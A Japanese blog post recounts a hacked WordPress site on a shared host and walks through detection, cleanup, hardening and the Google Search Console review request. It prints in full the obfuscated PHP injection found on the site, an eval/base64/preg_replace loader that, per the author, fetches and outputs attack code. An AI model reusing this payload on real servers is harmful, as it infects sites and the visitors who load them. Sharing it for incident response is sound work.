脆弱性を突かれて Web サイトを改ざんされてウィルス呼び出しコードを埋めこまれたファイルの調べ方と除去と対応作業と申請手続きについて

改ざんされてウィルス配布コード埋めこまれてから復旧までの作業や申請の手続きについてまとめていきます。

追記: 「改ざんされた場合そのものの対処方法」という意味で書かせて頂きました。phpMyAdmin の脆弱性についてではなく全般的な内容となっております。誤解を与える表現となってしまい申し訳御座いません。

今回埋めこまれた不正なコード

実際のコードは改行やスペースがなくなって一行のコードとなっておりますので非常に気づきにくいです。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
@error_reporting(0);
if (!isset($eva1fYlbakBcVSir)) {
    $eva1fYlbakBcVSir = "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pO31ldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9QVNmN2t5YU5SbWJCUlhXdk5uUmpGVVdKeFdZMlZHSm9VR1p2TldaazlGTjJVMmNoSkdJdUpYZDBWbWM3QlNLcjFFWnVGRWRaOTJjR05XUVpsRWJoWlhaa2dpUlRKa1pQbDBaaFJGYlBCRmFPMUViaFpYWmc0MmJwUjNZdVZuWiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5MEVTa2htVXpNbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVldQWE5GWm5ORVpWbFZhRk5WYmh4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiN2tpSTkwVFFqQmpVSUZtSW9ZMFVDWjJUSmRXWVV4MlRRaG1UTnhXWTJWV1BYWlZjaFpsY3BWMlZVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIjdraUk5UXpWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGwxalFtaEZSVmRFZGlWRlpDeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wSVNQOUVWUzJSMlZKSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDFUWlZwblJ1VjJRc0oyZFJ4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUWHBJU1YxVWxVSVpFTVlObFZ3VWxWNVlVVlZKbFJUSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbHRsVUZabFVGTjFYazB6UW1OMlpOQm5kcE5YVHl4V1kyVkdKIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BraWNxTmxWakYwYWhSR1daUlhNaFpYWmtnaWRsSm5jME5IS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoQ2JoWlhaIihlZG9jZWRfNDZlc2FiKGxhdmUnKSk7ZXZhbChldmFsbHdoVmZJVm5XUGJUKCc7KSkiPXNUS3BJU1A5YzJZc2hYYlpSblJ0VmxJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSXNraUkwWTFSYVZuUlhkbElvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVkdJc2tpSTlrRVdhSkRiSEZtYUtoVldtWjBWaEpDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxCQ0xwSUNNNTBXVVA1a1ZVSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbEJDTHBJU1BCNTJZeGduTVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsQkNMcElDYjRKalcybGpNU0pDS0dObFFtOVVTbkZHVnM5RVVvNVVUc0ZtZGxoU2VoSm5jaEJTUGdRSFVFaDJiemRFZHVSRWRVeFdZMlZHSiIoZWRvY2VkXzQ2ZXNhYihsYXZlJykpO2V2YWwoZXZhbGx3aFZmSVZuV1BiVCgnOykpIj09d09wa2lJNVFIVkxwblVEdGtlUzVtWXNKbGJpWm5UeWdGTVdKaldtWjFSaUJuV0hGMVowMDJZeElGV2FsSGRJbEVjTmhrU3ZSVGJSMWtUeUlsU3NCRFZhWjBNaHBrU1ZSbFJrWmtZb3BGV2FkR055SUdjU05UVzFabGJhSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbGhDYmhaWFoiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PXdPcGdDTWtSR0pnMERJWXBIUnloMVRJZDJTbnhXWTJWR0oiKGVkb2NlZF80NmVzYWIobGF2ZScpKTtldmFsKGV2YWxsd2hWZklWbldQYlQoJzspKSI9PVFmOXREYWpGRVRhdEdWQ1pGYjFGM1p6TjNjc0ZtZGxSQ0l2aDJZbHRUWHhzRmFqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJOUFDYWpGRVRhdEdWQ1pGYjFGM1p6TjNjc0ZtZGxSQ0k3a0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDTGxWbGVHNVdaRHhtWTNGRmJoWlhaa2dTWms5R2J3aFhaZzBESW9OV1FNcDFhVUprVnNWWGNuTjNjenhXWTJWR0o3bFNLbFZsZUc1V1pEeG1ZM0ZGYmhaWFprd0NhakZFVGF0R1ZDWkZiMUYzWnpOM2NzRm1kbFJDS3lSM2N5UjNjb0FpWnB0VEtwMFZLaVVsVHhRVlM1WVVWVkpsUlRKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrZ1NaazkyWXVWR2J5Vm5McElTT24xbVNpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWt5UW1OMlpOQm5kcE5YVHl4V1kyVkdKb1VHWnZObWJseG1jMTVTS2lrVFN0cGtJb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZtTGRsaUk5a2tSU1ZrUndnbFJTRkRWT1oxYVZKQ0tHTmxRbTlVU25GR1ZzOUVVbzVVVHNGbWRsdGxVRlpsVUZOMVhrNFNLaTBETVVGbUlvWTBVQ1oyVEpkV1lVeDJUUWhtVE54V1kyVm1McElTUDRRMFlpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSXZKa2JNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVpUW1oRlJWZEVkaVZGWkN4V1kyVkdKdWtpSTkwemRNSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDVDVzZSa2NZOUVTbnQwWnNGbWRsUmlMcElTUDRrSFRpZ2lSVEprWlBsMFpoUkZiUEJGYU8xRWJoWlhadWtpSTkwelpQSkNLR05sUW05VVNuRkdWczlFVW81VVRzRm1kbDV5VldGWFlXSlhhbGRGVnNGbWRsUkNLdUpFVGpkVVNKOVVXeHRXU0MxVVJYeFdZMlZHSTlBQ2FqRkVUYXRHVkNaRmIxRjNaek4zY3NGbWRsUkNJN2tDTXdnRE14c1NLb1VXYnBSSExwa2lJOTBFU2tobVV6TW1Jb1kwVUNaMlRKZFdZVXgyVFFobVROeFdZMlZHSzFRV2JzYzFVa2QyUWtWVldwVjBVdEZHYmhaWFprZ1NacHQyYnZOR2RsTkhRZ3NISWxOSGJsQlNmN0JTS3BrU1hYTkZabk5FWlZsVmFGTlZiaHhXWTJWR0piVlVTTDkwVEQ5RkpvUVhaek5YYW9BaWN2QlNLcE1rWmpkV1R3WlhhejFrY3NGbWRsUkNJc0lTYXZJQ0l1QVNLMEJGUm85MmNIUm5iRVJIVnNGbWRsUkNJc0lDZmlnU1prOUdidzFXYWc0Q0lpOGlJb2cyWTBGV2JmZFdaeUJIS29ZV2EiKGVkb2NlZF80NmVzYWIobGF2ZScpKTskZXZhbFVkQ1hURFFFUm1XbkRTID0xODc5Mjt9";
    $eva1tYlbakBcVSir = "\x65\144\x6f\154\x70\170\x65";
    $eva1tYldakBcVSir = "\x73\164\x72\162\x65\166";
    $eva1tYldakBoVS1r = "\x65\143\x61\154\x70\145\x72\137\x67\145\x72\160";
    $eva1tYidokBoVSjr = "\x3b\51\x29\135\x31\133\x72\152\x53\126\x63\102\x6b\141\x64\151\x59\164\x31\141\x76\145\x24\50\x65\144\x6f\143\x65\144\x5f\64\x36\145\x73\141\x62\50\x6c\141\x76\145\x40\72\x65\166\x61\154\x28\42\x5c\61\x22\51\x3b\72\x40\50\x2e\53\x29\100\x69\145";$eva1tYldokBcVSjr=$eva1tYldakBcVSir($eva1tYldakBoVS1r);
    $eva1tYldakBcVSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);
    $eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir);
    $eva1tYXdakAcVSjr = $eva1tYidakBcVSjr[0.031*0.061];
    $eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);
    $eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],$eva1tYldakBcVSir($eva1tYidokBcVSjr[0.061*0.031]));
    $eva1tYldakBcVSir = "";
    $eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;
    $eva1tYidokBoVSjr = $eva1tYlbakBcVSir;
    $eva1tYldakBcVSir = "\x73\164\x72\x65\143\x72\160\164\x72";
    $eva1tYlbakBcVSir = "\x67\141\x6f\133\x70\170\x65";
    $eva1tYldakBoVS1r = "\x65\143\x72\160";
    $eva1tYldakBcVSir = "";
    $eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;
    $eva1tYidokBoVSjr = $eva1tYlbakBcVSir;
}
?>

追記: ゲヒルンの isidai さんに、埋めこまれた不正コードを解析して頂きました。かなり難読化してあって、実は解析をサボってしまったのですが、今回解析をして頂き感動しました。あと解析の手順も詳しく解説してありますので、勉強にもなります。

複雑に難読されたコードもやってることはfile_get_contentsで攻撃コードを取りに行って出力…というものでした。検索ボット避けがしてあったりもしましたが、基本はシンプルな攻撃ですね。

Web サイト改ざん前後の対応手順

やることが多いので対応手順のリストを作りました。細かい事はこのリスト以降で詳細を説明していきます。

サイト運営者側の予防策

  • Web マスターツールを定期的にチェックする。
  • Twitter やメールで利用者からの報告をチェックする。
  • CMS は常に最新バージョンに維持する。
  • 使われていないプラグインやサイトは削除する。※1
  • プラグインを使う場合は脆弱性が無いか調べておく。※2
  • ファイルのパーミッション等は必要最低限の権限にする。
  • 脆弱性関係のニュースは優先的にチェックしておく。

※1 使われていなくてもメンテナンスを行なっていれば良いと思います。
※2 今回の件もプラグイン名での日本語情報はありませんでしたが、英語情報では2011年末に英語で呼びかけをしている方がいましたので英語情報のチェックも必要です。

Web サイト改ざん時の対応

上記チェックで改ざんされたことを知ったら。

  1. セーフブラウジング診断および Web マスターツールで状況を把握。
  2. 改ざんされた Web サイトを503でメンテナンス画面に誘導。※1
  3. サーバー会社に改ざんされた件を連絡する。※2
  4. アクセスログなどを見て脆弱性を発見して解決する。※5
  5. 改ざんされたコードを発見して保存する。※3
  6. 改ざんされたコードを元に改ざんされたファイルをリスト化。
  7. 改ざんされたファイルの全ての修正を行う。
  8. Web サイトのメンテナンスモードを解除して閲覧テスト。
  9. Web マスターツールから不正なソフトウェア除去完了を連絡。※4

※1 メンテナンス画面にすることで被害の拡大を防ぐことができます。
※2 ヘテムルなどの共用サーバーの場合は連絡すると調査してくれる場合があります。
※3 どこにどんなコードが埋め込まれたかを確認して全て根絶する必要があります。
※4 Web マスターツールから申請後1日程度で審査が完了して戻ります。Chrome は Google クロールと審査後の表示になるため、実際に修正したらすぐ見れるようになるわけではない。
※5 例えば phpMyAdmin を削除するなど。

ユーザ側の予防策

  • セキュリティソフトを入れておく。※1
  • 定期的なウィルススキャンを実行する。
  • 安全なブラウザを選択する。※2
  • パソコンの操作に慎重になる。※3

※1 Mac でもメイン機なら有償のセキュリティなどを入れるのも良いかもしれません。
※2 今回ブラウザによってはアクセスを事前に遮断されるものとされないものがありました。
※3 セキュリティを入れていても、誤った操作で感染してしまうこともあるようです。

改ざんされたファイルをリスト化する

改ざんされて挿入されたコードを元に以下のように、一部の記述と同じ記述があるファイルを呼び出すことで改ざんされたファイルを特定します。もちろん可能な限り、この検索にヒットしなかったファイルも、問題ない状態の時のファイルに再度上書きをします。WordPress などであれば、WordPress 自体を再インストールを(自動再インストールの挙動が分かりませんので、できれば手動で)行います。

1
egrep -rl 'eva1fYlbakBcVSir' ~/ > ~/virus_call.txt

ファイルパーミッションの設定をする

どんなパーミッションが設定されているかを確認することが大事です。例えばヘテムルでは以下のようなパーミッション設定を推奨しています。

ファイルの種類 権限
HTML・画像・.htaccess 604 (rw—-r–)
CGI 実行ファイル 700 (rwx——)
CGI データファイル 600 (rw——-)
ディレクトリ 705 (rwx—r-x)

これを GUI でひとつずつ、設定すると大変なのでサンプル程度ですが、いくつかコマンドを紹介しておきます。実際に自分で(コマンドの内容や使っている CMS などを)検証してから実行するなどしてみてください。

HTML・画像・.htaccess のパーミッション変更

1
find './' -name '*.html' -o -name '*.png' -o -name '*.jpg' -o -name '*.gif' -o -name '*.jpeg' -o -name '.htaccess' | xargs chmod 604

ディレクトリのパーミッション変更

1
find ./ -type d | xargs chmod 705

サーバーに接続する方法を制限する

もしヘテムルなどで SFTP で接続していたり、SSH で接続して作業していて、FTP を使っていなくて必要ない場合は FTP での接続を全てブロックしておくと、FTP パスワードが万が一漏れても FTP 経由で改ざんされたりというリスクが減ります。

FTP からの接続をブロックするには .ftpaccess を使います。

1
2
3
4
5
<Limit LOGIN ALL>
    Order allow,deny
    Allow from 192.168.100.110
    Deny from all
</Limit>

Web サイトを改ざんされて初めて知ったこと

Chrome ブラウザからアクセスできない

記事上部にもあった画像ですが、Chrome でアクセスできなくなります(他のブラウザは未確認)。ただし、ウェブマスターツールで危険だと表示されていても Chrome ではアクセス遮断されてなかったりします。推測ではありますが、リアルタイムに遮断しているわけではないと思いますので、利用者側としては注意が必要です。

Google 検索結果に危険サイトと表示

画像の中を見て頂くと分かりますが。

このサイトはコンピュータに損害を与える可能性があります。

という記述が出るようになります。これは Chrome でアクセスできなくなった以降に反映されるようですが、実際のタイミングは不明です。

ユーザー視点としては、もう少し目立つようにして欲しいと思うところです。Web サイト運営者側としては、検索エンジンからのアクセスは見込めなくなるので、あらゆるすべての作業を放棄して解決のために取り組まなければいけないかもしれません。

改ざんされれば必ずしも Google が気づくわけではない

私のサイトの場合は毎日更新しているために、Google からのクロールの頻度が高いです。そのため今回のように改ざんされたことにすぐ気づくことができましたが、毎日更新していない(今回は月間1万PV以下の)サイトは改ざんされているのにも関わらず、Google の Web マスターツールを確認する限りでは、問題ないと表示されていました。

改ざんされたファイルをカスペルスキーが検知

少し話がずれますが、改ざんされたキャッシュファイルをダウンロードしてスキャンしたら以上のように検出されました。ちなみに無料のセキュリティで検索しても引っかかりませんでしたので、有償のセキュリティも良いかもしれないと思いました。

おわりに

ヘテムルについて

今回ヘテムル内に設置していた私の WordPress の phpMyAdmin を使ったプラグインの脆弱性を突かれて、私のアカウント内のファイルが改ざんされました。それらの原因について、報告後2日程度でヘテムルさんが調べてくださったので、私も素早く対応をすることができました。(改ざんされたファイルリストと改ざんされた原因を調べて頂きました。)

共用サーバーだからこちらで調査できない部分もあるからだと思いますが、もし専有サーバーなら自分で調べるのに時間がかかったと思いますし、もし依頼した場合は結構費用もかかりますから、改めてヘテムルさんのような共用サーバーを利用し続けたいと感じました。

ウィルスへの感染について

ウェブル関連サービスは比較的アクセスが多いですが、月間1万アクセスにも満たないサイトについては改ざんされても Google には検知されませんでした。(それでもセキュリティを入れていればブロックされると思います。)そのため、私のサイトだけではなくて、皆さんも普段検索して訪れているサイトで、知らず知らずのうちに感染しているかもしれませんので、警戒を強めたほうが良いかもしれません。

コメント

  1. 通りすがりさんのコメント

    > 改めてヘテムルさんのような共用サーバーを利用し続けたいと感じました

    違うんですよ・・・

    ヘテルムだから改ざんされたんだと思いますよ。
    他レンタルサーバと比較すると、あそこの管理はかなり問題あります(実体験より)

  2. ちゃお。さんのコメント

    攻撃コードの中身は理解出来たのですが「埋め込む」という行為がよく理解できていません。。。
    単純に考えれば攻撃コードをページに埋め込むにはSSHなりFTPなりでファイル毎入れ替えるか、チェックの全くないコメント欄のようなものに攻撃コードを載せて投稿する、、、くらいしか思いつかないのですが、前者は鍵とかID/PassとかIPとかで塞がれてるのが当たり前なので、どうやって「埋め込まれた」のかがよくわからないです。。。